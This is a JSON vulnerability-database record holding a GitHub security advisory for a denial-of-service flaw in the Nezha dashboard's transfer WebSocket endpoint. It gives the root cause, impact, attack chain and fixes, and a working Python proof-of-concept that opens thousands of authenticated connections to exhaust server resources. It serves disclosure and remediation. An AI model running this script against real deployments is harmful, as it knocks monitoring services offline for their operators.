{"schema":"threatline.record/2","record":{"id":"GHSA-ch6h-w872-77mx","aliases":["GHSA-ch6h-w872-77mx"],"summary":"Transfer WebSocket endpoint allows unbounded subscriber allocation","details":"## Maintainer resolution\n\nFixed in [v2.3.15](https://github.com/nezhahq/nezha/releases/tag/v2.3.15) by commit [36b742a7](https://github.com/nezhahq/nezha/commit/36b742a7e9a81ed782363dd19efd77b7030fbd0f). Affected versions: `>= 2.0.13, < 2.3.15`. Patched versions: `>= 2.3.15`.\n\n## Summary\n\nThe Nezha dashboard's server-transfer WebSocket endpoint `GET /api/v1/ws/transfer` allows any authenticated user to open an unbounded number of concurrent connections. Each connection is registered via `ServerTransferClass.Subscribe` (service/singleton/server_transfer.go), which allocates a buffered channel and inserts it into an in-process `subs` map with no per-user, per-IP, or global capacity check. The connection handler spawns two goroutines and holds around 72 KB of WebSocket buffers per connection for its entire lifetime, with no server-side idle timeout. An attacker with any authenticated dashboard session can exhaust dashboard file descriptors, memory, and goroutine capacity, cutting off new connections including agent gRPC reconnections.\n\n## Root Cause\n\nEvery code path that allocates persistent per-connection resources on an authenticated endpoint must enforce a bounded connection count. The `transferStream` handler and its underlying `Subscribe` routine do not. `Subscribe` unconditionally allocates a new buffered channel and stores it under an atomically incremented id, with no read of the current map size and no branch that could refuse the allocation:\n\n```go\n// service/singleton/server_transfer.go\nfunc (c *ServerTransferClass) Subscribe() (uint64, <-chan *model.ServerTransfer) {\n    c.subMu.Lock()\n    defer c.subMu.Unlock()\n    id := atomic.AddUint64(&c.nextSubID, 1)\n    ch := make(chan *model.ServerTransfer, 16)\n    c.subs[id] = ch\n    return id, ch\n}\n```\n\nThe handler that drives this from a WebSocket similarly performs no connection-count check between authentication and the upgrade:\n\n```go\n// cmd/dashboard/controller/transfer.go (transferStream)\nwsConn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\nif err != nil {\n    return nil, newWsError(\"%v\", err)\n}\nsubID, ch := singleton.ServerTransferShared.Subscribe()\n// no per-user/per-IP/global limit; every subscription succeeds\n```\n\nThe stream-count quota introduced by GHSA-jg62-j5h6-8mpq (`service/rpc/io_stream_quota.go`) applies only to `NezhaHandler.CreateStreamWithPurpose`, which is called from the terminal and file manager endpoints. The transfer subscription path is a separate subsystem operating on `ServerTransferShared.subs`, so that quota provides no coverage.\n\n## Impact\n\nAn authenticated dashboard user reaching the endpoint (JWT cookie holders bypass the `restScopeMiddleware` scope check because it only enforces scopes for PAT-authenticated requests) can hold N concurrent WebSocket connections. Each connection costs roughly 32 KB read buffer plus 32 KB write buffer plus two goroutines plus a subscriber channel plus one file descriptor. At N in the low thousands, the dashboard process exhausts file descriptors and cannot accept new inbound connections, including agent gRPC reconnects, causing total loss of monitoring for the duration of the attack. At higher N, goroutine scheduler pressure and GC overhead degrade all in-flight operations, and OOM termination becomes likely. The `broadcast` routine holds `subMu` for O(N) iterations per transfer event, so contention on that lock further amplifies degradation once transfers occur. No user interaction is required and the attack sustains as long as the attacker keeps the TCP connections alive; a standards-compliant WebSocket client responds to server pings automatically, so no additional traffic is needed to keep sessions open.\n\n## Proof of Concept\n\n```text\nPrerequisites:\n- Any dashboard user token (JWT cookie or PAT with server:read equivalent access).\n  Because restScopeMiddleware short-circuits when the request is JWT-authenticated,\n  no specific transfer:read scope is required for cookie-based sessions.\n- Network reachability to the dashboard's HTTP(S) endpoint.\n- Sufficient client-side file descriptors (a modest ulimit -n increase on the attacker).\n```\n\n```python\n# transfer_subscriber_exhaust.py\nimport asyncio\nimport ssl\nimport os\nimport websockets\n\nURL = f\"wss://dashboard.example.com/api/v1/ws/transfer\"\nHEADERS = {\"Cookie\": os.environ[\"DASHBOARD_COOKIE\"]}\nN = 5000\n\nasync def hold_one(i, ctx):\n    try:\n        async with websockets.connect(URL, ssl=ctx, extra_headers=HEADERS) as ws:\n            await asyncio.sleep(3600)  # keep the subscription open\n    except Exception as exc:\n        print(f\"conn {i}: {exc}\")\n\nasync def main():\n    ctx = ssl.create_default_context()\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    await asyncio.gather(*[hold_one(i, ctx) for i in range(N)])\n\nasyncio.run(main())\n```\n\nObserved server behavior:\n\n```text\n# during the run, the dashboard's open file descriptors climb by ~N, memory\n# grows by roughly N * 72 KiB, and 2*N handler/reader goroutines accumulate;\n# new connections (including agent gRPC reconnects) fail once the process FD\n# limit is reached; killing the attacker restores service after the sockets close.\n```\n\nThe corresponding IO stream endpoints refuse a similar test at 20 concurrent streams per user (per the fix in GHSA-jg62-j5h6-8mpq), demonstrating the missing symmetry.\n\n## Attack Chain\n\n1. **Exposure:** The route `GET /api/v1/ws/transfer` is registered in the authenticated route group (cmd/dashboard/controller/controller.go) in every default deployment and ships enabled.\n2. **Control:** The attacker fully controls the number and lifetime of concurrent WebSocket connections. JWT-authenticated dashboard sessions bypass `restScopeMiddleware(ScopeTransferRead)` because that middleware calls `c.Next()` when no PAT is present (service/singleton/api_token_scope.go).\n3. **Path:** For each connection, `transferStream` performs the WebSocket upgrade, calls `singleton.ServerTransferShared.Subscribe`, spawns a reader goroutine that blocks in `conn.NextReader` to observe client disconnect, and enters a select loop over the subscriber channel and a 30 second ping ticker.\n4. **Guard:** There is no per-user, per-IP, or global connection cap; the `http.Server` in cmd/dashboard/main.go only sets `ReadHeaderTimeout` and no `ConnState` limiter. `registerPATConnection` records revocation hooks and is explicitly documented as unfit for policy decisions (`countForToken` comment). `Subscribe` has no `len(c.subs)` check. No `SetReadDeadline` is set, and the ping does not evict a well-behaved client.\n5. **Primitive:** Each connection allocates around 32 KB read buffer, 32 KB write buffer, two goroutines with their stacks, a `chan *model.ServerTransfer` buffered at 16, an internal `closed` channel, a `time.Ticker`, and one file descriptor with associated kernel buffers.\n6. **Result:** Resource accumulation at attacker-controlled scale drives file descriptor exhaustion, memory pressure, goroutine scheduler saturation, and lock contention in `broadcast`. New connection acceptance (including agent gRPC reconnects) fails, monitoring stops, and OOM termination becomes likely at higher connection counts.\n\n## Bypass Evidence\n\nThe relevant protection is a bounded subscriber or connection count on the transfer WebSocket path. It does not exist. `grep -rn \"Subscribe(\" --include='*.go'` in the tree returns `transfer.go:183` as the only caller, and reading `Subscribe` shows a four-line body with no capacity check. GHSA-jg62-j5h6-8mpq (CVE-2026-53522) introduced `io_stream_quota.go`, whose per-user (20) and per-server (40) caps apply only inside `CreateStreamWithPurpose`; the transfer path never calls `CreateStream` or `CreateStreamWithPurpose` and uses a completely separate data structure (`ServerTransferClass.subs` vs `NezhaHandler.ioStreams`). The MCP rate limiter (`mcp_ratelimit.go`) is wired only to MCP endpoints, not to `/ws/transfer`. The WAF component only tracks previously offending IPs (failed logins, brute force). The default upgrader's `CheckOrigin` blocks cross-origin browser requests, not direct API clients using cookie or bearer authentication.\n\n## Affected Versions\n\n- **Ecosystem:** `go`\n- **Package:** `github.com/nezhahq/nezha`\n- **Confirmed affected range:** `>= 2.0.13, <= 2.3.14`\n- **Latest release checked:** `v2.3.14` ([GitHub release](https://github.com/nezhahq/nezha/releases/tag/v2.3.14))\n- **Fix status:** not fixed\n\nThe transfer subscription path (`transferStream` and `ServerTransferClass.Subscribe`) is present in the earliest tag reachable in this checkout, `v2.0.13` (commit `e816e94`), and remains unlimited at the current release `v2.3.14` (commit `c726930`). No commit on any inspected branch adds a subscriber or connection cap. Note that the Go module path published as `github.com/nezhahq/nezha` predates the project's v2 tag lineage; user-facing deployments consume tagged GitHub releases rather than the go-proxy module.\n\n## Suggested Fix\n\nIntroduce a bounded per-user (and ideally per-IP or global) subscriber cap for `Subscribe`, checked while holding `subMu`, returning an error to the caller when the limit is reached. The `transferStream` handler must translate that error into a WebSocket close with an informative reason rather than proceeding. A configurable `MaxTransferSubscribersPerUser` setting sized to legitimate operational needs (single-digit per user) is appropriate; the fix released in GHSA-jg62-j5h6-8mpq already establishes a similar pattern in `io_stream_quota.go` that can be reused. Setting a bounded `SetReadDeadline` on the connection and enforcing that inbound frames are unexpected (closing on any received data) would additionally reduce the resource footprint per unauthorized hold. Auditing other singleton subscription patterns for the same missing guard is recommended.\n\nAs an interim mitigation, operators can front the dashboard with a reverse proxy that enforces per-source-IP concurrent-connection limits on the transfer WebSocket path (for example, NGINX `limit_conn`). This narrows exposure to attackers who can distribute across many IPs but does not remove the underlying dashboard-side lack of application-level bounds.\n\n---\n\nReported by zx (GitHub: @manus-pi).\n","categories":["Unclassified"],"product":"github.com/nezhahq/nezha","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/nezhahq/nezha/security/advisories/GHSA-ch6h-w872-77mx","source_modified_at":"2026-10-01T04:43:44Z","fetched_at":"2026-10-23T18:58:35.272684Z","package":{"ecosystem":"go","name":"github.com/nezhahq/nezha"},"range":">= 2.0.13, < 2.3.15"}],"fixed_versions":[],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-01T04:42:20Z","modified_at":"2026-10-01T04:43:44Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/nezhahq/nezha/security/advisories/GHSA-ch6h-w872-77mx","fetched_at":"2026-10-23T18:58:35.272684Z","source_modified_at":"2026-10-01T04:43:44Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-01T04:43:44Z","content_hash":"298f435954ead425b949e5e2eb24802d03ab734d2af12af0a8498df736c4b649"}}
